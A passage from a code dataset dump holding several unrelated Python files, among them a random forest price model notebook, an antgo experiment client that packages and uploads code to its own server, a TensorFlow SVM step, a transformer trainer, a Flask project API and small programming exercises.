In[13]:\n\n\nX = df[final_features]\nX= X.fillna(0)\n\n\n# In[14]:\n\n\nY= df[\"Price\"]\n\n\n# In[15]:\n\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size = 0.2, random_state = 42)\n\n\n# In[16]:\n\n\nfrom sklearn.ensemble import RandomForestRegressor\nreg_rf = RandomForestRegressor()\nreg_rf.fit(X_train, y_train)\n\n\n# In[17]:\n\n\ny_pred = reg_rf.predict(X_test)\n\n\n# In[18]:\n\n\nreg_rf.score(X_train, y_train)\n\n\n# In[19]:\n\n\nreg_rf.score(X_test, y_test)\n\n\n# In[25]:\n\n\nplt.figure(figsize=(12,10))\nsns.scatterplot(x= y_test, y=y_pred)\n\n\n# In[26]:\n\n\nfrom sklearn import metrics\n\n\n# In[27]:\n\n\nmetrics.r2_score(y_test, y_pred)\n\n\n# In[28]:\n\n\n#Hyperparameter optimisation \n\n\n# In[29]:\n\n\nfrom sklearn.model_selection import RandomizedSearchCV\n\n\n# In[31]:\n\n\n# Number of trees in random forest\nn_estimators = [int(x) for x in np.linspace(start = 200, stop = 2000, num = 10)]\n# Number of features to consider at every split\nmax_features = ['auto', 'sqrt']\n# Maximum number of levels in tree\nmax_depth = [int(x) for x in np.linspace(10, 110, num = 11)]\nmax_depth.append(None)\n# Minimum number of samples required to split a node\nmin_samples_split = [2, 5, 10]\n# Minimum number of samples required at each leaf node\nmin_samples_leaf = [1, 2, 4]\n# Method of selecting samples for training each tree\nbootstrap = [True, False]\n# Create the random grid\nrandom_grid = {'n_estimators': n_estimators,\n 'max_features': max_features,\n 'max_depth': max_depth,\n 'min_samples_split': min_samples_split,\n 'min_samples_leaf': min_samples_leaf,\n 'bootstrap': bootstrap}\nprint(random_grid)\n\n\n# In[33]:\n\n\n# Use the random grid to search for best hyperparameters\n# First create the base model to tune\nrf = RandomForestRegressor()\n# Random search of parameters, using 3 fold cross validation, \n# search across 100 different combinations, and use all available cores\nrf_random = RandomizedSearchCV(estimator = rf, param_distributions = random_grid, n_iter = 100, cv = 3, verbose=2, random_state=42, n_jobs = -1)\n# Fit the random search model\nrf_random.fit(X_train, y_train)\n\n\n# In[34]:\n\n\nrf_random.best_params_\n\n\n# In[35]:\n\n\nprediction = rf_random.predict(X_test)\n\n\n# In[36]:\n\n\nplt.figure(figsize=(12,10))\nsns.scatterplot(x= y_test, y=y_pred)\n\n\n# In[37]:\n\n\nprint('MAE:', metrics.mean_absolute_error(y_test, prediction))\nprint('MSE:', metrics.mean_squared_error(y_test, prediction))\nprint('RMSE:', np.sqrt(metrics.mean_squared_error(y_test, prediction)))\n\n\n# In[38]:\n\n\n#dumping model parametrs for next use \n\n\n# In[39]:\n\n\nimport pickle\n\n\n# In[41]:\n\n\npickle.dump(rf_random, open('model.pkl','wb'))\n\n\n# In[42]:\n\n\nmodel = open('model.pkl','rb')\n\n\n# In[44]:\n\n\nrf = pickle.load(model)\n\n\n# In[45]:\n\n\npred= rf.predict(X_test)\n\n\n# In[46]:\n\n\nprint('RMSE:', np.sqrt(metrics.mean_squared_error(y_test, pred)))\n\n\n# In[48]:\n\n\n\n\n\n# In[50]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"652917507","text":"# danso=95.5\n# year = 2017\n# tocdo_tang = 1 #%\n# while danso<120:\n# \tyear += 1\n# \tdanso += danso*tocdo_tang/100\n# print(year,danso)\n#======================================================\nM = 100 # số tiền ban đầu \nr = 10 # %/năm , kì gửi 1 tháng \nm = 10 # số tiền gửi thêm mỗi tháng \nt = 0\n\n# sau bao nhiêu tháng thì số tiền >= 500\nwhile M< 500:\n\tt += 1 \n\tM += M*r/12/100 + m\nprint(t,M)","sub_path":"example/modul1_python/day2_3/day3_4.py","file_name":"day3_4.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"473835083","text":"# encoding=utf-8\n# @Time : 17-3-3\n# @File : common.py\n# @Author : jian\nfrom __future__ import division\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\n\nimport os\nfrom ..utils.serialize import loads,dumps\nfrom ..utils import logger\nimport zmq\nimport uuid\nimport json\nimport sys\nimport tarfile\nimport tempfile\nimport re\nimport requests\nfrom antgo.ant import flags\nfrom antgo.utils.fs import *\nfrom antgo import config\nfrom antgo.ant.utils import *\nimport yaml\nfrom antgo.utils.utils import *\nfrom datetime import datetime\nfrom antgo.ant.subgradientrpc import *\nfrom antgo.ant.mltalkerrpc import *\nfrom antgo.ant.warehouse import *\nfrom qiniu import Auth, put_file, etag, urlsafe_base64_encode\nif sys.version > '3':\n PY3 = True\nelse:\n PY3 = False\n\nFLAGS = flags.AntFLAGS\nConfig = config.AntConfig\n\n\nclass UnlabeledDataset(Dataset):\n def __init__(self, dataset):\n super(UnlabeledDataset, self).__init__()\n self.dataset_proxy = dataset\n\n def data_pool(self):\n for a, b in self.dataset_proxy.unlabeled():\n yield a, b\n\n @property\n def size(self):\n return self.dataset_proxy.unlabeled_size()\n\nclass AntBase(object):\n def __init__(self, ant_name, ant_context=None, ant_token=None, **kwargs):\n self.server_ip = getattr(Config, 'server_ip', 'www.mltalker.com')\n self.http_port = getattr(Config, 'server_port', '8999')\n self.http_prefix = 'http'\n self.ant_name = ant_name\n self.app_token = os.environ.get('APP_TOKEN', ant_token)\n self.app_connect = os.environ.get('APP_CONNECT', 'tcp://%s:%s' % (self.server_ip, '2345'))\n self.app_file_connect = os.environ.get('APP_FILE_CONNECT', 'tcp://%s:%s' % (self.server_ip, '2346'))\n\n self.subgradientserver = getattr(Config, 'subgradientserver', {})\n\n # three key info\n if 'main_file' in kwargs:\n self.main_file = kwargs['main_file']\n if 'main_folder' in kwargs:\n self.main_folder = kwargs['main_folder']\n if 'main_param' in kwargs:\n self.main_param = kwargs['main_param']\n if 'time_stamp' in kwargs:\n self._time_stamp = kwargs['time_stamp']\n else:\n self._time_stamp = timestamp()\n\n self._proxy = None\n if 'proxy' in kwargs:\n self._proxy = kwargs['proxy']\n\n self._signature = None\n if 'signature' in kwargs:\n self._signature = kwargs['signature']\n\n # current pid\n self._pid = str(os.getpid())\n \n # config zmq connect\n self._zmq_socket = zmq.Context().socket(zmq.REQ)\n self._zmq_socket.connect(self.app_connect)\n \n # config zmq file connect\n self._zmq_file_socket = zmq.Context().socket(zmq.DEALER)\n self._zmq_file_socket.connect(self.app_file_connect)\n \n # server flag\n self.app_server = self.__class__.__name__\n if not PY3:\n self.app_server = unicode(self.app_server)\n\n # subgradient rpc\n self.subgradient_rpc = SubgradientRPC(self.subgradientserver['subgradientserver_ip'], self.subgradientserver['subgradientserver_port'])\n self.mltalker_rpc = MLTalkerRPC(self.server_ip, self.http_port, self.app_token)\n\n # parse hardware resource config\n self._running_config = {'GPU_MODEL': '',\n 'GPU_NUM': 0,\n 'GPU_MEM': 0,\n 'CPU_MODEL': '',\n 'CPU_NUM': 0,\n 'CPU_MEM': 0,\n 'OS_PLATFORM': '',\n 'OS_VERSION': '',\n 'SOFTWARE_FRAMEWORK': '',\n 'DATASET': ''}\n\n self._description_config = {'SHORT_DESCRIPTION': '',\n 'LONG_DESCRIPTION': '',\n 'VERSION': '',\n 'INPUT_NUM': 1,\n 'INPUT_TYPE':[]}\n\n if ant_context is not None and ant_context.params is not None and ant_context.params._params is not None:\n config_params = ant_context.params._params\n if 'RUNNING_CONFIG' in config_params:\n if 'GPU_MODEL' in config_params['RUNNING_CONFIG']:\n self._running_config['GPU_MODEL'] = config_params['RUNNING_CONFIG']['GPU_MODEL']\n\n if 'GPU_NUM' in config_params['RUNNING_CONFIG']:\n self._running_config['GPU_NUM'] = config_params['RUNNING_CONFIG']['GPU_NUM']\n\n if 'GPU_MEM' in config_params['RUNNING_CONFIG']:\n self._running_config['GPU_MEM'] = config_params['RUNNING_CONFIG']['GPU_MEM']\n\n if 'CPU_MODEL' in config_params['RUNNING_CONFIG']:\n self._running_config['CPU_MODEL'] = config_params['RUNNING_CONFIG']['CPU_MODEL']\n\n if 'CPU_NUM' in config_params['RUNNING_CONFIG']:\n self._running_config['CPU_NUM'] = config_params['RUNNING_CONFIG']['CPU_NUM']\n\n if 'CPU_MEM' in config_params['RUNNING_CONFIG']:\n self._running_config['CPU_MEM'] = config_params['RUNNING_CONFIG']['CPU_MEM']\n\n if 'OS_PLATFORM' in config_params['RUNNING_CONFIG']:\n self._running_config['OS_PLATFORM'] = config_params['RUNNING_CONFIG']['OS_PLATFORM']\n\n if 'OS_VERSION' in config_params['RUNNING_CONFIG']:\n self._running_config['OS_VERSION'] = config_params['RUNNING_CONFIG']['OS_VERSION']\n\n if 'SOFTWARE_FRAMEWORK' in config_params['RUNNING_CONFIG']:\n self._running_config['SOFTWARE_FRAMEWORK'] = config_params['RUNNING_CONFIG']['SOFTWARE_FRAMEWORK']\n\n if 'DESCRIPTION_CONFIG' in config_params:\n if 'SHORT_DESCRIPTION' in config_params['DESCRIPTION_CONFIG']:\n self._description_config['SHORT_DESCRIPTION'] = config_params['DESCRIPTION_CONFIG']['SHORT_DESCRIPTION']\n\n if 'LONG_DESCRIPTION' in config_params['DESCRIPTION_CONFIG']:\n self._description_config['LONG_DESCRIPTION'] = config_params['DESCRIPTION_CONFIG']['LONG_DESCRIPTION']\n\n if 'VERSION' in config_params['DESCRIPTION_CONFIG']:\n self._description_config['VERSION'] = config_params['DESCRIPTION_CONFIG']['VERSION']\n\n if 'INPUT_NUM' in config_params['DESCRIPTION_CONFIG']:\n self._description_config['INPUT_NUM'] = config_params['DESCRIPTION_CONFIG']['INPUT_NUM']\n\n if 'INPUT_TYPE' in config_params['DESCRIPTION_CONFIG']:\n self._description_config['INPUT_TYPE'] = config_params['DESCRIPTION_CONFIG']['INPUT_TYPE']\n\n self._running_platform = kwargs.get('running_platform', 'local') # local, cloud\n\n # core\n self.ant_context = None\n if ant_context is not None:\n self.ant_context = ant_context\n self.ant_context.ant = self\n\n @property\n def zmq_socket(self):\n return self._zmq_socket\n @zmq_socket.setter\n def zmq_socket(self, val):\n self._zmq_socket = val\n self._zmq_socket.connect(self.app_connect)\n\n @property\n def zmq_file_socket(self):\n return self._zmq_file_socket\n @zmq_file_socket.setter\n def zmq_file_socket(self,val):\n self._zmq_file_socket = val\n self._zmq_file_socket.connect(self.app_file_connect)\n \n @property\n def pid(self):\n return self._pid\n @pid.setter\n def pid(self, val):\n self._pid = val\n\n @property\n def running_config(self):\n return self._running_config\n\n @property\n def description_config(self):\n return self._description_config\n\n @property\n def running_platform(self):\n return self._running_platform\n\n def package_codebase(self, prefix='qiniu', target_path='', signature='123'):\n logger.info('package code envoriment')\n if self.app_token is None:\n if not os.path.exists(os.path.join(self.main_folder, FLAGS.task())):\n shutil.copy(os.path.join(Config.task_factory, FLAGS.task()), os.path.join(self.main_folder))\n\n tar_shell = 'tar -czf - * | openssl enc -e -aes256 -out %s.tar.gz -k %s' % (self.name, signature)\n subprocess.call(tar_shell, shell=True, cwd=self.main_folder)\n\n logger.info('finish package')\n if prefix == 'qiniu':\n logger.info('upload codebase package')\n qiniu_address = qiniu_upload(os.path.join(self.main_folder, '%s.tar.gz'%self.name),\n bucket='experiment',\n max_size=100)\n # clear\n os.remove(os.path.join(self.main_folder, '%s.tar.gz' % self.name))\n return qiniu_address\n elif prefix == 'ipfs':\n pass\n elif prefix == 'baidu':\n pass\n elif prefix.startswith('ssh') or prefix.startswith('scp'):\n nodes = prefix.replace('scp:', '')\n node_ip_list = nodes.split(',')\n for ip in node_ip_list:\n if ip=='127.0.0.1' or ip=='localhost':\n continue\n\n logger.info('deploy code at %s'%ip)\n try:\n cmd_str = 'ssh %s %s' % (ip, 'mkdir -p %s'%target_path)\n logger.info('execute %s' % cmd_str)\n subprocess.call(cmd_str, shell=True)\n except:\n pass\n\n try:\n cmd_str = 'scp %s %s:%s' % (os.path.join(self.main_folder, '%s.tar.gz' % self.name), ip, target_path)\n logger.info('execute %s' % cmd_str)\n subprocess.call(cmd_str, shell=True)\n except:\n logger.error('couldnt distribute code base to %s' % ip)\n exit(-1)\n\n # clear\n os.remove(os.path.join(self.main_folder, '%s.tar.gz' % self.name))\n\n return '%s.tar.gz' % self.name\n\n def register_ant(self, codebase_address, running_config, server_config={}):\n request_url = '%s://%s:%d/api/aifactory/register'%(self.http_prefix, self.server_ip, self.http_port)\n\n data_str = json.dumps({'CODE_BASE': codebase_address,\n 'RUNNING_CONFIG': running_config,\n 'SERVER_CONFIG': server_config})\n response = requests.post(request_url, {'DATA': data_str})\n\n if response is None:\n return None\n\n if response.status_code in [200, 201]:\n result = json.loads(response.content)\n return result\n else:\n return None\n\n def submit_ant(self, codebase_address, running_config, server_config={}):\n pass\n\n def send(self, data, stage):\n if self.app_token is not None:\n # now_time = datetime.now().timestamp()\n now_time = timestamp()\n # 0.step add extra data\n data['APP_TOKEN'] = self.app_token\n data['APP_TIME'] = self.time_stamp\n if self.context is not None:\n if self.context.params is not None:\n data['APP_HYPER_PARAMETER'] = json.dumps(self.context.params.content)\n data['APP_RPC'] = \"INFO\"\n data['APP_STAGE'] = stage\n data['APP_NOW_TIME'] = now_time\n data[\"APP_NAME\"] = self.ant_name\n data[\"APP_SERVER\"] = self.app_server\n\n # exclude 'RECORD'\n record_data = None\n if 'RECORD' in data:\n record_data = data['RECORD']\n data.pop('RECORD')\n\n # 1.step send info\n self.zmq_socket.send(dumps(data))\n\n # 2.step ignore any receive info\n response = self.zmq_socket.recv(copy=False)\n response = loads(response)\n if 'status' in response:\n if response['status'] != 'OK':\n logger.error('error in uploading, maybe token isnot valid..')\n if self.app_server not in ['AntTrain','AntChallenge']:\n logger.error('perhaps you are using task token')\n return\n\n # 3.step upload record files\n if record_data is not None and os.path.exists(record_data):\n self.send_record(record_data, stage)\n \n def send_record(self, data, stage):\n if self.app_token is not None:\n # format: token, stage, time_stamp, now_time_stamp, block_id, block_size, max_block_size, block\n # 1.step uuid\n record_id = str(uuid.uuid1()) if PY3 else unicode(uuid.uuid1())\n \n # 2.step tar record\n temp_tar_file_path = os.path.join(tempfile.gettempdir(), '%s.tar.gz'%record_id)\n if os.path.exists(temp_tar_file_path):\n os.remove(temp_tar_file_path)\n tar = tarfile.open(temp_tar_file_path, 'w:gz')\n if os.path.isdir(data):\n # folder\n for f in os.listdir(data):\n if os.path.isfile(os.path.join(data, f)):\n tar.add(os.path.join(data, f), arcname=f)\n else:\n # single file\n tar.add(data)\n tar.close()\n \n # 3.step split data pieces\n with open(temp_tar_file_path, 'rb') as fp:\n BLOCK_SIZE = 8 * 1024\n block_data = fp.read(BLOCK_SIZE)\n \n # send data blocks\n while block_data != b\"\":\n self.zmq_file_socket.send(dumps((self.app_token,\n self.ant_name,\n stage,\n self.time_stamp,\n 'EXPERIMENT-RECORD',\n record_id,\n BLOCK_SIZE,\n len(block_data),\n block_data)))\n block_data = fp.read(BLOCK_SIZE)\n \n # send data EOF\n self.zmq_file_socket.send(dumps((self.app_token,\n self.ant_name,\n stage,\n self.time_stamp,\n 'EXPERIMENT-RECORD',\n record_id,\n BLOCK_SIZE,\n 0,\n b'')))\n # waiting until server tells us it's done\n flag = self.zmq_file_socket.recv()\n\n # 4.step clear\n if os.path.exists(temp_tar_file_path):\n os.remove(temp_tar_file_path)\n\n def send_file(self, file_path, name, stage, mode, target_name):\n # 1.step whether file_path exist\n if not os.path.isfile(file_path):\n return False\n\n # 2.step split data pieces\n with open(file_path, 'rb') as fp:\n BLOCK_SIZE = 8 * 1024\n block_data = fp.read(BLOCK_SIZE)\n\n # send data blocks\n while block_data != b\"\":\n self.zmq_file_socket.send(dumps((self.app_token,\n name,\n stage,\n self.time_stamp,\n mode,\n target_name,\n BLOCK_SIZE,\n len(block_data),\n block_data)))\n block_data = fp.read(BLOCK_SIZE)\n\n # send data EOF\n self.zmq_file_socket.send(dumps((self.app_token,\n name,\n stage,\n self.time_stamp,\n mode,\n target_name,\n BLOCK_SIZE,\n 0,\n b'')))\n # waiting until server tells us it's done\n flag = self.zmq_file_socket.recv()\n return True\n\n def rpc(self, cmd=\"\"):\n if self.app_token is not None:\n # 0.step config data\n data = {}\n data['APP_TOKEN'] = self.app_token\n data['APP_TIME'] = self.time_stamp\n data['APP_RPC'] = cmd\n data['APP_STAGE'] = 'RPC'\n data['APP_NOW_TIME'] = timestamp()\n data[\"APP_NAME\"] = self.ant_name\n data['APP_SERVER'] = self.app_server\n\n # 1.step send rpc\n self.zmq_socket.send(dumps(data))\n\n # 2.step receive info\n try:\n response = loads(self.zmq_socket.recv(copy=False))\n if len(response) == 0:\n return None\n return response\n except:\n return None\n\n return None\n\n def download(self, source_path, target_path=None, target_name=None, archive=None):\n if target_path is None:\n target_path = os.curdir\n\n is_that = re.match('^((https|http|ftp|rtsp|mms)?://)', source_path)\n if is_that is not None:\n download(source_path, target_path, fname=target_name)\n\n is_gz = re.match('.*\\.gz', target_name)\n if is_gz is not None:\n if archive is not None:\n extracted_path = os.path.join(target_path, archive)\n else:\n extracted_path = target_path\n\n if not os.path.exists(extracted_path):\n os.makedirs(extracted_path)\n\n tar = tarfile.open(os.path.join(target_path, target_name))\n tar.extractall(extracted_path)\n tar.close()\n target_path = extracted_path\n\n return target_path\n\n def remote_api_request(self, cmd, data=None, action='get'):\n url = '%s://%s:%s/%s'%(self.http_prefix, self.server_ip, self.http_port, cmd)\n user_authorization = {'Authorization': \"token \" + self.app_token}\n try:\n response = None\n if action == 'get':\n # get a resource at server\n response = requests.get(url, data=data, headers=user_authorization)\n elif action == 'post':\n # build a resource at server\n response = requests.post(url, data=data, headers=user_authorization)\n elif action == 'patch':\n # update part resource at server\n response = requests.patch(url, data=data, headers=user_authorization)\n elif action == 'delete':\n # delete resource at server\n response = requests.delete(url, data=data, headers=user_authorization)\n\n if response is None:\n return None\n\n if response.status_code != 200 and response.status_code != 201:\n return None\n\n response_js = json.loads(response.content.decode())\n return response_js\n except:\n return None\n\n @property\n def stage(self):\n return self.context.stage\n @stage.setter\n def stage(self, val):\n self.context.stage = val\n\n @property\n def token(self):\n return self.app_token\n @token.setter\n def token(self, val):\n self.app_token = val\n\n @property\n def name(self):\n return self.ant_name\n\n @property\n def context(self):\n return self.ant_context\n\n @context.setter\n def context(self, val):\n self.ant_context = val\n self.ant_context.ant = self\n\n @property\n def proxy(self):\n return self._proxy\n\n @property\n def signature(self):\n return self._signature\n\n @property\n def time_stamp(self):\n return self._time_stamp\n \n def clone(self):\n if self.pid != str(os.getpid()):\n # reset process pid\n self.pid = str(os.getpid())\n \n # update zmq sockets\n # (couldnt share socket in differenet process)\n self.zmq_socket = zmq.Context().socket(zmq.REQ)\n self.zmq_file_socket = zmq.Context().socket(zmq.DEALER)\n \n # update context\n ctx = main_context(self.main_file, self.main_folder)\n if self.main_param is not None:\n main_config_path = os.path.join(self.main_folder, self.main_param)\n params = yaml.load(open(main_config_path, 'r'))\n ctx.params = params\n \n if self.context.from_experiment is not None:\n ctx.from_experiment = self.context.from_experiment\n \n self.context = ctx\n","sub_path":"antgo/ant/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":18954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"3773620","text":"import tensorflow.compat.v1 as tf\nimport numpy as np\n\n\nm = 1740\n\nx_batch = np.random.rand(m)\ny_batch = np.random.rand(1)\n\nweights = np.random.rand(m)\nbiases = np.random.rand(m)\n\nwith tf.Session() as sess:\n\n x = tf.placeholder(tf.float32, shape=(m, ), name='x')\n y = tf.placeholder(tf.float32, shape=(1, ), name='y')\n # w = tf.Variable(np.random.rand(m), name='W', dtype=tf.float32)\n # b = tf.Variable(np.random.rand(m), name='b', dtype=tf.float32)\n w = tf.placeholder(tf.float32, shape=(m, ), name='W')\n b = tf.placeholder(tf.float32, shape=(m, ), name='b')\n\n mu = tf.constant(1, dtype=tf.float32)\n\n _ = tf.Variable(initial_value=np.random.rand(1))\n\n\n h = tf.reduce_sum(tf.multiply(w, x))\n c = tf.multiply(y, h)\n distances = tf.subtract(1., c)\n # maximum = tf.maximum(0., distances)\n #maximum = tf.boolean_mask(distances, tf.greater(0., distances))\n\n # Look here for gradient of SVM objective function: http://u.cs.biu.ac.il/~jkeshet/teaching/aml2016/sgd_optimization.pdf\n maximum = tf.cast(tf.greater(distances, 0.), tf.float32)\n\n g = tf.multiply(maximum, x)\n\n g = tf.multiply(mu, g)\n w = tf.subtract(w, g, name='update')\n\n sess.run(tf.initialize_all_variables())\n feed_dict = {x: x_batch, y: y_batch, w: weights, b: biases}\n sess.run(w, feed_dict)\n tf.train.Saver().save(sess, 'model.ckpt')\n","sub_path":"tabla/tabla/benchmarks/onnx/svm_tf.py","file_name":"svm_tf.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"118914006","text":"a=[]\r\nk=int(input(\"Enter number of elements: \")) \r\nfor i in range(k):\r\n b=input(\"Enter element: \")\r\n a.append(b)\r\nc=[]\r\nfor b in a:\r\n if a.count(b)==1:\r\n c.append(b)\r\nprint(\"Non-repeated numbers: \",c)\r\ninput()\r\n","sub_path":"km73/Hirianska_Viktoriia/5/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"426718805","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\n\nfrom tqdm.notebook import tqdm\nfrom datetime import datetime\n\nfrom transformer.transformer import (\n\tTransformer, create_pad_mask, create_look_ahead_mask\n)\n\n\n__SOS_IMAGE_TOKEN__ = 64\n__EOS_IMAGE_TOKEN__ = 65\n__MASK_IMAGE_TOKEN__ = 66\n\n__SOS_TEXT_TOKEN__ = 67\n__EOS_TEXT_TOKEN__ = 68\n__PAD_TEXT_TOKEN__ = 69\n\n\ndef get_latest_snapshot_name(path):\n \"\"\"\n A function to get the name of a latest snapshot file\n \"\"\"\n\n if not os.path.isabs(path): path = os.path.join(os.getcwd(), path)\n snapshots = [os.path.join(path, s) for s in os.listdir(path)]\n\n if not snapshots: raise RuntimeError('No snapshots found')\n latest_snapshot = max(snapshots, key=os.path.getctime)\n \n return latest_snapshot\n\n\nclass Trainer():\n\n def __init__(\n self,\n model,\n optimizer,\n device, \n train_dataset,\n val_dataset=None,\n gradient_clipping=None,\n snapshot_path=None \n ):\n\n \"\"\" \n :param model: a transformer model to train\n :type model : torch.nn.Module\n\n :type train_dataset: Text2ImageDataset\n :type val_dataset : Text2ImageDataset\n\n \"\"\"\n\n default_optimizer_params = {'lr': 1e-4}\n\n self.model = model\n self.device = device\n\n self.train_dataset = train_dataset\n self.val_dataset = val_dataset\n \n self.optimizer = optimizer\n \n self.gradient_clipping = gradient_clipping\n self.snapshot_path = snapshot_path\n # internal snapshot parameters\n self.date_format = '%Y-%m-%d_%H-%M-%S'\n\n\n def load_latest_snapshot(self):\n\n sname = get_latest_snapshot_name(self.snapshot_path)\n snapshot = torch.load(sname)\n\n error_msg_header = f'Error loading snapshot {sname}' +\\\n '- incompatible snapshot format. '\n if 'optimizer' not in snapshot:\n raise KeyError(error_msg_header + 'Key \"optimizer\" is missing')\n if 'model' not in snapshot:\n raise KeyError(error_msg_header + 'Key \"model\" is missing')\n\n self.model.load_state_dict(snapshot['model'])\n self.optimizer.load_state_dict(snapshot['optimizer'])\n\n\n def save_model(self, replace_latest=False):\n\n if self.snapshot_path is None: return\n \n time_string = datetime.now().strftime(self.date_format)\n\n states = {\n 'model' : self.model.state_dict(),\n 'optimizer': self.optimizer.state_dict()\n }\n\n if not replace_latest:\n torch.save(states, os.path.join(self.snapshot_path, time_string + '.pth'))\n else:\n try:\n os.remove(get_latest_snapshot_name(self.snapshot_path))\n except Exception:\n pass\n torch.save(states, os.path.join(self.snapshot_path, time_string + '.pth'))\n\n\n def train(self, n_epochs=100, batch_size=32, save_interval=1000, from_zero=True, plot_loss_history=True):\n\n MAX_TEXT_LEN = self.train_dataset.max_text_length\n weight = torch.ones(self.train_dataset.annotations_language.n_words).to(self.device)\n\n self.model = self.model.to(self.device)\n\n\n criterion = nn.BCELoss()\n batch_index = 0 \n\n if not from_zero: self.load_latest_snapshot()\n\n batch_generator = torch.utils.data.DataLoader(\n self.train_dataset, batch_size=32, shuffle=True, num_workers=1\n )\n\n loss_history = []\n\n\n for i in tqdm(range(n_epochs), desc='Training'):\n \t\n self.model.train(True)\n\n loss_epoch = []\n \n for j, b in enumerate(tqdm(batch_generator, desc=f'Epoch {i+1} of {n_epochs}')):\n \n self.optimizer.zero_grad()\n self.model.zero_grad()\n\n in_ = b.to(self.device)\n\n mask = create_look_ahead_mask(in_)\n\n target = F.one_hot(in_.clone().detach()[:, 1:], num_classes=1186).float()\n out = F.softmax(self.model(in_, mask), dim=-1)\n \n loss_value = 1. / 8. * criterion(out[:, :MAX_TEXT_LEN], target[:, :MAX_TEXT_LEN]) +\\\n 7. / 8. * criterion(out[:, MAX_TEXT_LEN:-1], target[:, MAX_TEXT_LEN:]) \n \t\n loss_value.backward()\n self.optimizer.step()\n\n batch_index += 1\n\n if batch_index % save_interval == 0: self.save_model()\n\n loss_epoch.append(loss_value.item())\n\n \n loss_history.append(np.mean(np.array(loss_epoch)))\n\n if plot_loss_history:\n plt.figure(figsize=(8, 8))\n plt.plot(loss_history, label='loss')\n plt.legend()\n plt.show()\n\n self.model = self.model.cpu()\n\n return loss_history\n\n\n\n","sub_path":"transformer/transformer_trainer.py","file_name":"transformer_trainer.py","file_ext":"py","file_size_in_byte":4972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"406231097","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 16 12:18:34 2018\n\n@author: yamini\n\n\"\"\"\nclass Solution:\n def isPowerOfThree(self, n):\n if n==1:\n return True\n elif n<=0:\n return False\n else:\n while(n>1):\n if n%3==0:\n n=n/3\n continue\n else:\n return False\n return True","sub_path":"IsPowerOfThree.py","file_name":"IsPowerOfThree.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"495968720","text":"import unittest\nimport cannibal_numbers as cannibal\n\n\nclass TestCannibal(unittest.TestCase):\n def test_target_ten(self):\n test_input = [21, 9, 5, 8, 10, 1, 3]\n self.assertEqual(cannibal.cannibalise(test_input, 10), 4)\n\n def test_target_fifteen(self):\n test_input = [21, 9, 5, 8, 10, 1, 3]\n self.assertEqual(cannibal.cannibalise(test_input, 15), 2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"Python/336E/cannibal_numbers_test.py","file_name":"cannibal_numbers_test.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"432267248","text":"from flask import json, request, Blueprint, jsonify\nfrom evodoc.exception import DbException, ApiException\nfrom evodoc.entity import *\nfrom evodoc.api import response_ok, response_ok_list, response_ok_obj, validate_token\n\nproject = Blueprint('project', __name__, url_prefix='/project')\n\n@project.route('',methods=['GET'])\ndef get_project_by_id_action():\n \"\"\"\n Get project data by it's id\n \"\"\"\n token = request.args.get('token')\n id = request.args.get('id')\n validate_token(token)\n #check permissions in the future\n data = Project.get_project_by_id(id)\n return response_ok_obj(data)\n\n@project.route('/name', methods=['GET'])\ndef get_project_by_name_action(name):\n \"\"\"\n Get project data by it's name\n \"\"\"\n token = request.args.get('token')\n name = request.args.get('name')\n validate_token(token)\n #check permissions in the future\n data = Project.get_project_by_name(name)\n if (data == None):\n return response_err(ApiException(400, \"Name already in use.\"))\n return response_ok_obj(data)\n\n@project.route('/all', methods=['GET'])\ndef get_project_all_action():\n \"\"\"\n Get data for all projects\n \"\"\"\n token = request.args.get('token')\n validate_token(token)\n #check permissions in the future\n data = Project.get_project_all()\n return response_ok_list(data)\n\n@project.route(\"/update_or_create\", methods=['POST'])\ndef update_or_create_poject_action():\n \"\"\"\n Update or create poject\n \"\"\"\n data = request.get_json()\n if data == None:\n raise ApiException(400, \"data\")\n if (data['token'] == None):\n raise ApiException(403, \"Invalid token\")\n if (('poject_id' not in data) or (data['poject_id'] == None)):\n poject_id = None\n else:\n poject_id = data['poject_id']\n validate_token(data['token'])\n #check permissions in the future\n data = Project.create_or_update_project_by_id_array(poject_id, data['data'], True)\n if (data == None):\n raise ApiException(400, \"Name already in use.\")\n return response_ok_obj(data)\n\n@project.errorhandler(ApiException)\n@project.errorhandler(DbException)\ndef __response_err(data):\n return jsonify(data.message), data.errorCode\n","sub_path":"evodoc/api/projectapi.py","file_name":"projectapi.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"110250182","text":"\"\"\"\n Given an array of time intervals (start, end) for classroom lectures (possibly overlapping),\n find the minimum number of rooms required.\n\n For example, given [(30, 75), (0, 50), (60, 150)], you should return 2.\n\"\"\"\n\nclass Room:\n def __init__(self, interval=None):\n self.intervals = []\n if interval:\n self.intervals.append(interval)\n def occupied(self, interval):\n start = interval[0]\n end = interval[1]\n for i in self.intervals:\n if (start >= i[0] and start <= i[1]) or (end >= i[0] and end <= i[1]):\n return True\n return False\n\ndef minimum_rooms(intervals):\n rooms = []\n if len(intervals) > 0:\n rooms.append(Room())\n for interval in 